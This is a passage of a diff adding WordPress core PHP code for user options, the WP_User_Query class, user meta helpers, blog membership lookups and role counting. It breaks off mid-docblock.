+	 * @param mixed   $result Value for the user's option.
+	 * @param string  $option Name of the option being retrieved.
+	 * @param WP_User $user   WP_User object of the user whose option is being retrieved.
+	 */
+	return apply_filters( "get_user_option_{$option}", $result, $option, $user );
+}
+
+/**
+ * Update user option with global blog capability.
+ *
+ * User options are just like user metadata except that they have support for
+ * global blog options. If the 'global' parameter is false, which it is by default
+ * it will prepend the WordPress table prefix to the option name.
+ *
+ * Deletes the user option if $newvalue is empty.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database object for queries.
+ *
+ * @param int    $user_id     User ID.
+ * @param string $option_name User option name.
+ * @param mixed  $newvalue    User option value.
+ * @param bool   $global      Optional. Whether option name is global or blog specific.
+ *                            Default false (blog specific).
+ * @return int|bool User meta ID if the option didn't exist, true on successful update,
+ *                  false on failure.
+ */
+function update_user_option( $user_id, $option_name, $newvalue, $global = false ) {
+	global $wpdb;
+
+	if ( !$global )
+		$option_name = $wpdb->get_blog_prefix() . $option_name;
+
+	return update_user_meta( $user_id, $option_name, $newvalue );
+}
+
+/**
+ * Delete user option with global blog capability.
+ *
+ * User options are just like user metadata except that they have support for
+ * global blog options. If the 'global' parameter is false, which it is by default
+ * it will prepend the WordPress table prefix to the option name.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database object for queries.
+ *
+ * @param int    $user_id     User ID
+ * @param string $option_name User option name.
+ * @param bool   $global      Optional. Whether option name is global or blog specific.
+ *                            Default false (blog specific).
+ * @return bool True on success, false on failure.
+ */
+function delete_user_option( $user_id, $option_name, $global = false ) {
+	global $wpdb;
+
+	if ( !$global )
+		$option_name = $wpdb->get_blog_prefix() . $option_name;
+	return delete_user_meta( $user_id, $option_name );
+}
+
+/**
+ * WordPress User Query class.
+ *
+ * @since 3.1.0
+ *
+ * @see WP_User_Query::prepare_query() for information on accepted arguments.
+ */
+class WP_User_Query {
+
+	/**
+	 * Query vars, after parsing
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 * @var array
+	 */
+	public $query_vars = array();
+
+	/**
+	 * List of found user ids
+	 *
+	 * @since 3.1.0
+	 * @access private
+	 * @var array
+	 */
+	private $results;
+
+	/**
+	 * Total number of found users for the current query
+	 *
+	 * @since 3.1.0
+	 * @access private
+	 * @var int
+	 */
+	private $total_users = 0;
+
+	// SQL clauses
+	public $query_fields;
+	public $query_from;
+	public $query_where;
+	public $query_orderby;
+	public $query_limit;
+
+	/**
+	 * PHP5 constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param null|string|array $args Optional. The query variables.
+	 * @return WP_User_Query
+	 */
+	public function __construct( $query = null ) {
+		if ( ! empty( $query ) ) {
+			$this->prepare_query( $query );
+			$this->query();
+		}
+	}
+
+	/**
+	 * Prepare the query variables.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @param string|array $query {
+	 *     Optional. Array or string of Query parameters.
+	 *
+	 *     @type int          $blog_id         The site ID. Default is the global blog id.
+	 *     @type string       $role            Role name. Default empty.
+	 *     @type string       $meta_key        User meta key. Default empty.
+	 *     @type string       $meta_value      User meta value. Default empty.
+	 *     @type string       $meta_compare    Comparison operator to test the `$meta_value`. Accepts '=', '!=',
+	 *                                         '>', '>=', '<', '<=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'BETWEEN',
+	 *                                         'NOT BETWEEN', 'EXISTS', 'NOT EXISTS', 'REGEXP', 'NOT REGEXP',
+	 *                                         or 'RLIKE'. Default '='.
+	 *     @type array        $include         An array of user IDs to include. Default empty array.
+	 *     @type array        $exclude         An array of user IDs to exclude. Default empty array.
+	 *     @type string       $search          Search keyword. Searches for possible string matches on columns.
+	 *                                         When `$search_columns` is left empty, it tries to determine which
+	 *                                         column to search in based on search string. Default empty.
+	 *     @type array        $search_columns  Array of column names to be searched. Accepts 'ID', 'login',
+	 *                                         'nicename', 'email', 'url'. Default empty array.
+	 *     @type string       $orderby         Field to sort the retrieved users by. Accepts 'ID', 'display_name',
+	 *                                         'login', 'nicename', 'email', 'url', 'registered', 'post_count', or
+	 *                                         'meta_value'. To use 'meta_value', `$meta_key` must be also be defined.
+	 *                                         Default 'user_login'.
+	 *     @type string       $order           Designates ascending or descending order of users. Accepts 'ASC',
+	 *                                         'DESC'. Default 'ASC'.
+	 *     @type int          $offset          Number of users to offset in retrieved results. Can be used in
+	 *                                         conjunction with pagination. Default 0.
+	 *     @type int          $number          Number of users to limit the query for. Can be used in conjunction
+	 *                                         with pagination. Value -1 (all) is not supported.
+	 *                                         Default empty (all users).
+	 *     @type bool         $count_total     Whether to count the total number of users found. If pagination is not
+	 *                                         needed, setting this to false can improve performance. Default true.
+	 *     @type string|array $fields          Which fields to return. Single or all fields (string), or array
+	 *                                         of fields. Accepts 'ID', 'display_name', 'login', 'nicename', 'email',
+	 *                                         'url', 'registered'. Use 'all' for all fields and 'all_with_meta' to
+	 *                                         include meta fields. Default 'all'.
+	 *     @type string       $who             Type of users to query. Accepts 'authors'. Default empty (all users).
+	 * }
+	 */
+	public function prepare_query( $query = array() ) {
+		global $wpdb;
+
+		if ( empty( $this->query_vars ) || ! empty( $query ) ) {
+			$this->query_limit = null;
+			$this->query_vars = wp_parse_args( $query, array(
+				'blog_id' => $GLOBALS['blog_id'],
+				'role' => '',
+				'meta_key' => '',
+				'meta_value' => '',
+				'meta_compare' => '',
+				'include' => array(),
+				'exclude' => array(),
+				'search' => '',
+				'search_columns' => array(),
+				'orderby' => 'login',
+				'order' => 'ASC',
+				'offset' => '',
+				'number' => '',
+				'count_total' => true,
+				'fields' => 'all',
+				'who' => ''
+			) );
+		}
+
+		/**
+		 * Fires before the WP_User_Query has been parsed.
+		 *
+		 * The passed WP_User_Query object contains the query variables, not
+		 * yet passed into SQL.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param WP_User_Query $this The current WP_User_Query instance,
+		 *                            passed by reference.
+		 */
+		do_action( 'pre_get_users', $this );
+
+		$qv =& $this->query_vars;
+
+		if ( is_array( $qv['fields'] ) ) {
+			$qv['fields'] = array_unique( $qv['fields'] );
+
+			$this->query_fields = array();
+			foreach ( $qv['fields'] as $field ) {
+				$field = 'ID' === $field ? 'ID' : sanitize_key( $field );
+				$this->query_fields[] = "$wpdb->users.$field";
+			}
+			$this->query_fields = implode( ',', $this->query_fields );
+		} elseif ( 'all' == $qv['fields'] ) {
+			$this->query_fields = "$wpdb->users.*";
+		} else {
+			$this->query_fields = "$wpdb->users.ID";
+		}
+
+		if ( isset( $qv['count_total'] ) && $qv['count_total'] )
+			$this->query_fields = 'SQL_CALC_FOUND_ROWS ' . $this->query_fields;
+
+		$this->query_from = "FROM $wpdb->users";
+		$this->query_where = "WHERE 1=1";
+
+		// Parse and sanitize 'include', for use by 'orderby' as well as 'include' below.
+		if ( ! empty( $qv['include'] ) ) {
+			$include = wp_parse_id_list( $qv['include'] );
+		} else {
+			$include = false;
+		}
+
+		// sorting
+		if ( isset( $qv['orderby'] ) ) {
+			if ( in_array( $qv['orderby'], array('nicename', 'email', 'url', 'registered') ) ) {
+				$orderby = 'user_' . $qv['orderby'];
+			} elseif ( in_array( $qv['orderby'], array('user_nicename', 'user_email', 'user_url', 'user_registered') ) ) {
+				$orderby = $qv['orderby'];
+			} elseif ( 'name' == $qv['orderby'] || 'display_name' == $qv['orderby'] ) {
+				$orderby = 'display_name';
+			} elseif ( 'post_count' == $qv['orderby'] ) {
+				// todo: avoid the JOIN
+				$where = get_posts_by_author_sql('post');
+				$this->query_from .= " LEFT OUTER JOIN (
+					SELECT post_author, COUNT(*) as post_count
+					FROM $wpdb->posts
+					$where
+					GROUP BY post_author
+				) p ON ({$wpdb->users}.ID = p.post_author)
+				";
+				$orderby = 'post_count';
+			} elseif ( 'ID' == $qv['orderby'] || 'id' == $qv['orderby'] ) {
+				$orderby = 'ID';
+			} elseif ( 'meta_value' == $qv['orderby'] ) {
+				$orderby = "$wpdb->usermeta.meta_value";
+			} else if ( 'include' === $qv['orderby'] && ! empty( $include ) ) {
+				// Sanitized earlier.
+				$include_sql = implode( ',', $include );
+				$orderby = "FIELD( $wpdb->users.ID, $include_sql )";
+			} else {
+				$orderby = 'user_login';
+			}
+		}
+
+		if ( empty( $orderby ) )
+			$orderby = 'user_login';
+
+		$qv['order'] = isset( $qv['order'] ) ? strtoupper( $qv['order'] ) : '';
+		if ( 'ASC' == $qv['order'] )
+			$order = 'ASC';
+		else
+			$order = 'DESC';
+		$this->query_orderby = "ORDER BY $orderby $order";
+
+		// limit
+		if ( isset( $qv['number'] ) && $qv['number'] ) {
+			if ( $qv['offset'] )
+				$this->query_limit = $wpdb->prepare("LIMIT %d, %d", $qv['offset'], $qv['number']);
+			else
+				$this->query_limit = $wpdb->prepare("LIMIT %d", $qv['number']);
+		}
+
+		$search = '';
+		if ( isset( $qv['search'] ) )
+			$search = trim( $qv['search'] );
+
+		if ( $search ) {
+			$leading_wild = ( ltrim($search, '*') != $search );
+			$trailing_wild = ( rtrim($search, '*') != $search );
+			if ( $leading_wild && $trailing_wild )
+				$wild = 'both';
+			elseif ( $leading_wild )
+				$wild = 'leading';
+			elseif ( $trailing_wild )
+				$wild = 'trailing';
+			else
+				$wild = false;
+			if ( $wild )
+				$search = trim($search, '*');
+
+			$search_columns = array();
+			if ( $qv['search_columns'] )
+				$search_columns = array_intersect( $qv['search_columns'], array( 'ID', 'user_login', 'user_email', 'user_url', 'user_nicename' ) );
+			if ( ! $search_columns ) {
+				if ( false !== strpos( $search, '@') )
+					$search_columns = array('user_email');
+				elseif ( is_numeric($search) )
+					$search_columns = array('user_login', 'ID');
+				elseif ( preg_match('|^https?://|', $search) && ! ( is_multisite() && wp_is_large_network( 'users' ) ) )
+					$search_columns = array('user_url');
+				else
+					$search_columns = array('user_login', 'user_nicename');
+			}
+
+			/**
+			 * Filter the columns to search in a WP_User_Query search.
+			 *
+			 * The default columns depend on the search term, and include 'user_email',
+			 * 'user_login', 'ID', 'user_url', and 'user_nicename'.
+			 *
+			 * @since 3.6.0
+			 *
+			 * @param array         $search_columns Array of column names to be searched.
+			 * @param string        $search         Text being searched.
+			 * @param WP_User_Query $this           The current WP_User_Query instance.
+			 */
+			$search_columns = apply_filters( 'user_search_columns', $search_columns, $search, $this );
+
+			$this->query_where .= $this->get_search_sql( $search, $search_columns, $wild );
+		}
+
+		$blog_id = 0;
+		if ( isset( $qv['blog_id'] ) )
+			$blog_id = absint( $qv['blog_id'] );
+
+		if ( isset( $qv['who'] ) && 'authors' == $qv['who'] && $blog_id ) {
+			$qv['meta_key'] = $wpdb->get_blog_prefix( $blog_id ) . 'user_level';
+			$qv['meta_value'] = 0;
+			$qv['meta_compare'] = '!=';
+			$qv['blog_id'] = $blog_id = 0; // Prevent extra meta query
+		}
+
+		$meta_query = new WP_Meta_Query();
+		$meta_query->parse_query_vars( $qv );
+
+		$role = '';
+		if ( isset( $qv['role'] ) )
+			$role = trim( $qv['role'] );
+
+		if ( $blog_id && ( $role || is_multisite() ) ) {
+			$cap_meta_query = array();
+			$cap_meta_query['key'] = $wpdb->get_blog_prefix( $blog_id ) . 'capabilities';
+
+			if ( $role ) {
+				$cap_meta_query['value'] = '"' . $role . '"';
+				$cap_meta_query['compare'] = 'like';
+			}
+
+			if ( empty( $meta_query->queries ) ) {
+				$meta_query->queries = array( $cap_meta_query );
+			} elseif ( ! in_array( $cap_meta_query, $meta_query->queries, true ) ) {
+				// Append the cap query to the original queries and reparse the query.
+				$meta_query->queries = array(
+					'relation' => 'AND',
+					array( $meta_query->queries, $cap_meta_query ),
+				);
+			}
+
+			$meta_query->parse_query_vars( $meta_query->queries );
+		}
+
+		if ( !empty( $meta_query->queries ) ) {
+			$clauses = $meta_query->get_sql( 'user', $wpdb->users, 'ID', $this );
+			$this->query_from .= $clauses['join'];
+			$this->query_where .= $clauses['where'];
+
+			if ( 'OR' == $meta_query->relation )
+				$this->query_fields = 'DISTINCT ' . $this->query_fields;
+		}
+
+		if ( ! empty( $include ) ) {
+			// Sanitized earlier.
+			$ids = implode( ',', $include );
+			$this->query_where .= " AND $wpdb->users.ID IN ($ids)";
+		} elseif ( ! empty( $qv['exclude'] ) ) {
+			$ids = implode( ',', wp_parse_id_list( $qv['exclude'] ) );
+			$this->query_where .= " AND $wpdb->users.ID NOT IN ($ids)";
+		}
+
+		// Date queries are allowed for the user_registered field.
+		if ( ! empty( $qv['date_query'] ) && is_array( $qv['date_query'] ) ) {
+			$date_query = new WP_Date_Query( $qv['date_query'], 'user_registered' );
+			$this->query_where .= $date_query->get_sql();
+		}
+
+		/**
+		 * Fires after the WP_User_Query has been parsed, and before
+		 * the query is executed.
+		 *
+		 * The passed WP_User_Query object contains SQL parts formed
+		 * from parsing the given query.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param WP_User_Query $this The current WP_User_Query instance,
+		 *                            passed by reference.
+		 */
+		do_action_ref_array( 'pre_user_query', array( &$this ) );
+	}
+
+	/**
+	 * Execute the query, with the current variables.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @global wpdb $wpdb WordPress database object for queries.
+	 */
+	public function query() {
+		global $wpdb;
+
+		$qv =& $this->query_vars;
+
+		$query = "SELECT $this->query_fields $this->query_from $this->query_where $this->query_orderby $this->query_limit";
+
+		if ( is_array( $qv['fields'] ) || 'all' == $qv['fields'] ) {
+			$this->results = $wpdb->get_results( $query );
+		} else {
+			$this->results = $wpdb->get_col( $query );
+		}
+
+		/**
+		 * Filter SELECT FOUND_ROWS() query for the current WP_User_Query instance.
+		 *
+		 * @since 3.2.0
+		 *
+		 * @global wpdb $wpdb WordPress database abstraction object.
+		 *
+		 * @param string $sql The SELECT FOUND_ROWS() query for the current WP_User_Query.
+		 */
+		if ( isset( $qv['count_total'] ) && $qv['count_total'] )
+			$this->total_users = $wpdb->get_var( apply_filters( 'found_users_query', 'SELECT FOUND_ROWS()' ) );
+
+		if ( !$this->results )
+			return;
+
+		if ( 'all_with_meta' == $qv['fields'] ) {
+			cache_users( $this->results );
+
+			$r = array();
+			foreach ( $this->results as $userid )
+				$r[ $userid ] = new WP_User( $userid, '', $qv['blog_id'] );
+
+			$this->results = $r;
+		} elseif ( 'all' == $qv['fields'] ) {
+			foreach ( $this->results as $key => $user ) {
+				$this->results[ $key ] = new WP_User( $user );
+			}
+		}
+	}
+
+	/**
+	 * Retrieve query variable.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param string $query_var Query variable key.
+	 * @return mixed
+	 */
+	public function get( $query_var ) {
+		if ( isset( $this->query_vars[$query_var] ) )
+			return $this->query_vars[$query_var];
+
+		return null;
+	}
+
+	/**
+	 * Set query variable.
+	 *
+	 * @since 3.5.0
+	 * @access public
+	 *
+	 * @param string $query_var Query variable key.
+	 * @param mixed $value Query variable value.
+	 */
+	public function set( $query_var, $value ) {
+		$this->query_vars[$query_var] = $value;
+	}
+
+	/**
+	 * Used internally to generate an SQL string for searching across multiple columns
+	 *
+	 * @access protected
+	 * @since 3.1.0
+	 *
+	 * @param string $string
+	 * @param array $cols
+	 * @param bool $wild Whether to allow wildcard searches. Default is false for Network Admin, true for
+	 *  single site. Single site allows leading and trailing wildcards, Network Admin only trailing.
+	 * @return string
+	 */
+	protected function get_search_sql( $string, $cols, $wild = false ) {
+		global $wpdb;
+
+		$searches = array();
+		$leading_wild = ( 'leading' == $wild || 'both' == $wild ) ? '%' : '';
+		$trailing_wild = ( 'trailing' == $wild || 'both' == $wild ) ? '%' : '';
+		$like = $leading_wild . $wpdb->esc_like( $string ) . $trailing_wild;
+
+		foreach ( $cols as $col ) {
+			if ( 'ID' == $col ) {
+				$searches[] = $wpdb->prepare( "$col = %s", $string );
+			} else {
+				$searches[] = $wpdb->prepare( "$col LIKE %s", $like );
+			}
+		}
+
+		return ' AND (' . implode(' OR ', $searches) . ')';
+	}
+
+	/**
+	 * Return the list of users.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @return array Array of results.
+	 */
+	public function get_results() {
+		return $this->results;
+	}
+
+	/**
+	 * Return the total number of users for the current query.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @return int Number of total users.
+	 */
+	public function get_total() {
+		return $this->total_users;
+	}
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name  Property to set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Make private properties checkable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties un-settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Make private/protected methods readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|bool Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+}
+
+/**
+ * Retrieve list of users matching criteria.
+ *
+ * @since 3.1.0
+ *
+ * @see WP_User_Query
+ *
+ * @param array $args Optional. Arguments to retrieve users. See {@see WP_User_Query::prepare_query()}
+ *                    for more information on accepted arguments.
+ * @return array List of users.
+ */
+function get_users( $args = array() ) {
+
+	$args = wp_parse_args( $args );
+	$args['count_total'] = false;
+
+	$user_search = new WP_User_Query($args);
+
+	return (array) $user_search->get_results();
+}
+
+/**
+ * Get the blogs a user belongs to.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database object for queries.
+ *
+ * @param int  $user_id User ID
+ * @param bool $all     Whether to retrieve all blogs, or only blogs that are not
+ *                      marked as deleted, archived, or spam.
+ * @return array A list of the user's blogs. An empty array if the user doesn't exist
+ *               or belongs to no blogs.
+ */
+function get_blogs_of_user( $user_id, $all = false ) {
+	global $wpdb;
+
+	$user_id = (int) $user_id;
+
+	// Logged out users can't have blogs
+	if ( empty( $user_id ) )
+		return array();
+
+	$keys = get_user_meta( $user_id );
+	if ( empty( $keys ) )
+		return array();
+
+	if ( ! is_multisite() ) {
+		$blog_id = get_current_blog_id();
+		$blogs = array( $blog_id => new stdClass );
+		$blogs[ $blog_id ]->userblog_id = $blog_id;
+		$blogs[ $blog_id ]->blogname = get_option('blogname');
+		$blogs[ $blog_id ]->domain = '';
+		$blogs[ $blog_id ]->path = '';
+		$blogs[ $blog_id ]->site_id = 1;
+		$blogs[ $blog_id ]->siteurl = get_option('siteurl');
+		$blogs[ $blog_id ]->archived = 0;
+		$blogs[ $blog_id ]->spam = 0;
+		$blogs[ $blog_id ]->deleted = 0;
+		return $blogs;
+	}
+
+	$blogs = array();
+
+	if ( isset( $keys[ $wpdb->base_prefix . 'capabilities' ] ) && defined( 'MULTISITE' ) ) {
+		$blog = get_blog_details( 1 );
+		if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) {
+			$blogs[ 1 ] = (object) array(
+				'userblog_id' => 1,
+				'blogname'    => $blog->blogname,
+				'domain'      => $blog->domain,
+				'path'        => $blog->path,
+				'site_id'     => $blog->site_id,
+				'siteurl'     => $blog->siteurl,
+				'archived'    => 0,
+				'spam'        => 0,
+				'deleted'     => 0
+			);
+		}
+		unset( $keys[ $wpdb->base_prefix . 'capabilities' ] );
+	}
+
+	$keys = array_keys( $keys );
+
+	foreach ( $keys as $key ) {
+		if ( 'capabilities' !== substr( $key, -12 ) )
+			continue;
+		if ( $wpdb->base_prefix && 0 !== strpos( $key, $wpdb->base_prefix ) )
+			continue;
+		$blog_id = str_replace( array( $wpdb->base_prefix, '_capabilities' ), '', $key );
+		if ( ! is_numeric( $blog_id ) )
+			continue;
+
+		$blog_id = (int) $blog_id;
+		$blog = get_blog_details( $blog_id );
+		if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) {
+			$blogs[ $blog_id ] = (object) array(
+				'userblog_id' => $blog_id,
+				'blogname'    => $blog->blogname,
+				'domain'      => $blog->domain,
+				'path'        => $blog->path,
+				'site_id'     => $blog->site_id,
+				'siteurl'     => $blog->siteurl,
+				'archived'    => 0,
+				'spam'        => 0,
+				'deleted'     => 0
+			);
+		}
+	}
+
+	/**
+	 * Filter the list of blogs a user belongs to.
+	 *
+	 * @since MU
+	 *
+	 * @param array $blogs   An array of blog objects belonging to the user.
+	 * @param int   $user_id User ID.
+	 * @param bool  $all     Whether the returned blogs array should contain all blogs, including
+	 *                       those marked 'deleted', 'archived', or 'spam'. Default false.
+	 */
+	return apply_filters( 'get_blogs_of_user', $blogs, $user_id, $all );
+}
+
+/**
+ * Find out whether a user is a member of a given blog.
+ *
+ * @since MU 1.1
+ *
+ * @param int $user_id Optional. The unique ID of the user. Defaults to the current user.
+ * @param int $blog_id Optional. ID of the blog to check. Defaults to the current site.
+ * @return bool
+ */
+function is_user_member_of_blog( $user_id = 0, $blog_id = 0 ) {
+	$user_id = (int) $user_id;
+	$blog_id = (int) $blog_id;
+
+	if ( empty( $user_id ) )
+		$user_id = get_current_user_id();
+
+	if ( empty( $blog_id ) )
+		$blog_id = get_current_blog_id();
+
+	$blogs = get_blogs_of_user( $user_id );
+	return array_key_exists( $blog_id, $blogs );
+}
+
+/**
+ * Add meta data field to a user.
+ *
+ * Post meta data is called "Custom Fields" on the Administration Screens.
+ *
+ * @since 3.0.0
+ * @link http://codex.wordpress.org/Function_Reference/add_user_meta
+ *
+ * @param int $user_id User ID.
+ * @param string $meta_key Metadata name.
+ * @param mixed $meta_value Metadata value.
+ * @param bool $unique Optional, default is false. Whether the same key should not be added.
+ * @return int|bool Meta ID on success, false on failure.
+ */
+function add_user_meta($user_id, $meta_key, $meta_value, $unique = false) {
+	return add_metadata('user', $user_id, $meta_key, $meta_value, $unique);
+}
+
+/**
+ * Remove metadata matching criteria from a user.
+ *
+ * You can match based on the key, or key and value. Removing based on key and
+ * value, will keep from removing duplicate metadata with the same key. It also
+ * allows removing all metadata matching key, if needed.
+ *
+ * @since 3.0.0
+ * @link http://codex.wordpress.org/Function_Reference/delete_user_meta
+ *
+ * @param int $user_id user ID
+ * @param string $meta_key Metadata name.
+ * @param mixed $meta_value Optional. Metadata value.
+ * @return bool True on success, false on failure.
+ */
+function delete_user_meta($user_id, $meta_key, $meta_value = '') {
+	return delete_metadata('user', $user_id, $meta_key, $meta_value);
+}
+
+/**
+ * Retrieve user meta field for a user.
+ *
+ * @since 3.0.0
+ * @link http://codex.wordpress.org/Function_Reference/get_user_meta
+ *
+ * @param int $user_id User ID.
+ * @param string $key Optional. The meta key to retrieve. By default, returns data for all keys.
+ * @param bool $single Whether to return a single value.
+ * @return mixed Will be an array if $single is false. Will be value of meta data field if $single
+ *  is true.
+ */
+function get_user_meta($user_id, $key = '', $single = false) {
+	return get_metadata('user', $user_id, $key, $single);
+}
+
+/**
+ * Update user meta field based on user ID.
+ *
+ * Use the $prev_value parameter to differentiate between meta fields with the
+ * same key and user ID.
+ *
+ * If the meta field for the user does not exist, it will be added.
+ *
+ * @since 3.0.0
+ * @link http://codex.wordpress.org/Function_Reference/update_user_meta
+ *
+ * @param int $user_id User ID.
+ * @param string $meta_key Metadata key.
+ * @param mixed $meta_value Metadata value.
+ * @param mixed $prev_value Optional. Previous value to check before removing.
+ * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
+ */
+function update_user_meta($user_id, $meta_key, $meta_value, $prev_value = '') {
+	return update_metadata('user', $user_id, $meta_key, $meta_value, $prev_value);
+}
+
+/**
+ * Count number of users who have each of the user roles.
+ *
+ * Assumes there are neither duplicated nor orphaned capabilities meta_values.
+ * Assumes role names are unique phrases. Same assumption made by WP_User_Query::prepare_query()
+ * Using $strategy = 'time' this is CPU-intensive and should handle around 10^7 users.
+ * Using $strategy = 'memory' this is memory-intensive and should handle around 10^5 users, but see WP Bug #12257.
+ *
+ * @since 3.0.0
+ * @param string $strategy 'time' or 'memory'
+ * @return array Includes a grand total and an array of counts indexed by role strings.
+ */
+function count_users($strategy = 'time') {
+	global $wpdb, $wp_roles;
+
+	// Initialize
+	$id = get_current_blog_id();
+	$blog_prefix = $wpdb->get_blog_prefix($id);
+	$result = array();
+
+	if ( 'time' == $strategy ) {
+		global $wp_roles;
+
+		if ( ! isset( $wp_roles ) )
+			$wp_roles = new WP_Roles();
+
+		$avail_roles = $wp_roles->get_names();
+
+		// Build a CPU-intensive query that will return concise information.
+		$select_count = array();
+		foreach ( $avail_roles as $this_role => $name ) {
+			$select_count[] = $wpdb->prepare( "COUNT(NULLIF(`meta_value` LIKE %s, false))", '%' . $wpdb->esc_like( '"' . $this_role . '"' ) . '%');
+		}
+		$select_count = implode(', ', $select_count);
+
+		// Add the meta_value index to the selection list, then run the query.
+		$row = $wpdb->get_row( "SELECT $select_count, COUNT(*) FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'", ARRAY_N );
+
+		// Run the previous loop again to associate results with role names.
+		$col = 0;
+		$role_counts = array();
+		foreach ( $avail_roles as $this_role => $name ) {
+			$count = (int) $row[$col++];
+			if ($count > 0) {
+				$role_counts[$this_role] = $count;
+			}
+		}
+
+		// Get the meta_value index from the end of the result set.
+		$total_users = (int) $row[$col];
+
+		$result['total_users'] = $total_users;
+		$result['avail_roles'] =& $role_counts;
+	} else {
+		$avail_roles = array();
+
+		$users_of_blog = $wpdb->get_col( "SELECT meta_value FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'" );
+
+		foreach ( $users_of_blog as $caps_meta ) {
+			$b_roles = maybe_unserialize($caps_meta);
+			if ( ! is_array( $b_roles ) )
+				continue;
+			foreach ( $b_roles as $b_role => $val ) {
+				if ( isset($avail_roles[$b_role]) ) {
+					$avail_roles[$b_role]++;
+				} else {
+					$avail_roles[$b_role] = 1;
+				}
+			}
+		}
+
+		$result['total_users'] = count( $users_of_blog );
+		$result['avail_roles'] =& $avail_roles;
+	}
+
+	return $result;
+}
+
+//
+// Private helper functions
+//
+
+/**
+ * Set up global user vars.
+ *
+ * Used by wp_set_current_user() for back compat. Might be deprecated in the future.
+ *
+ * @since 2.0.4
+ * @global string $userdata User description.
+ * @global string $user_login The user username for logging in
+ * @global int $user_level The level of the user
+ * @global int $user_ID The ID of the user
+ * @global string $user_email The email address of the user
+ * @global string $user_url The url in the user's profile
+ * @global string $user_identity The display name of the user
+ *
+ * @param int $for_user_id Optional. User ID to set up global data.
+ */
+function setup_userdata($for_user_id = '') {
+	global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_identity;
+
+	if ( '' == $for_user_id )
+		$for_user_id = get_current_user_id();
+	$user = get_userdata( $for_user_id );
+
+	if ( ! $user ) {
+		$user_ID = 0;
+		$user_level = 0;
+		$userdata = null;
+		$user_login = $user_email = $user_url = $user_identity = '';
+		return;
+	}
+
+	$user_ID    = (int) $user->ID;
+	$user_level = (int) $user->user_level;
+	$userdata   = $user;
+	$user_login = $user->user_login;
+	$user_email = $user->user_email;
+	$user_url   = $user->user_url;
+	$user_identity = $user->display_name;
+}
+
+/**
+ * Create dropdown HTML content of users.
+ *
+ * The content can either be displayed, which it is by default or retrieved by
+ * setting the 'echo' argument. The 'include' and 'exclude' arguments do not
+ * need to be used; all users will be displayed in that case. Only one can be
+ * used, either 'include' or 'exclude', but not both.
+ *
+ * The available arguments are as follows:
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database object for queries.
+ *
+ * @param array|string $args {
+ *     Optional. Array or string of arguments to generate a drop-down of users.
+ *     {@see WP_User_Query::prepare_query() for additional available arguments.
+ *
+ *     @type string       $show_option_all         Text to show as the drop-down default (all).
+ *                                                 Default empty.
+ *     @type string       $show_option_none        Text to show as the drop-down default when no
+ *                                                 users were found. Default empty.
+ *     @type int|string   $option_none_value       Value to use for $show_option_non when no users
+ *                                                 were found. Default -1.
+ *     @type string       $hide_if_only_one_author Whether to skip generating the drop-down
+ *                                                 if only one user was found. Default empty.
+ *     @type string       $orderby                 Field to order found users by. Accepts user fields.
+ *                                                 Default 'display_name'.
+ *     @type string       $order                   Whether to order users in ascending or descending
+ *                                                 order. Accepts 'ASC' (ascending) or 'DESC' (descending).
+ *                                                 Default 'ASC'.
+ *     @type array|string $include                 Array or comma-separated list of user IDs to include.
+ *                                                 Default empty.
+ *     @type array|string $exclude                 Array or comma-separated list of user IDs to exclude.
+ *                                                 Default empty.
+ *     @type bool|int     $multi                   Whether to skip the ID attribute on the 'select' element.
+ *                                                 Accepts 1|true or 0|false. Default 0|false.
+ *     @type string       $show                    User table column to display. If the selected item is empty
+ *                                                 then the 'user_login' will be displayed in parentheses.
+ *                                                 Accepts user fields. Default 'display_name'.
+ *     @type int|bool     $echo                    Whether to echo or return the drop-down. Accepts 1|true (echo)
+ *                                                 or 0|false (return). Default 1|true.
+ *     @type int          $selected                Which user ID should be selected. Default 0.
+ *     @type bool         $include_selected        Whether to always include the selected user ID in the drop-
+ *                                                 down. Default false.
+ *     @type string       $name                    Name attribute of select element. Default 'user'.
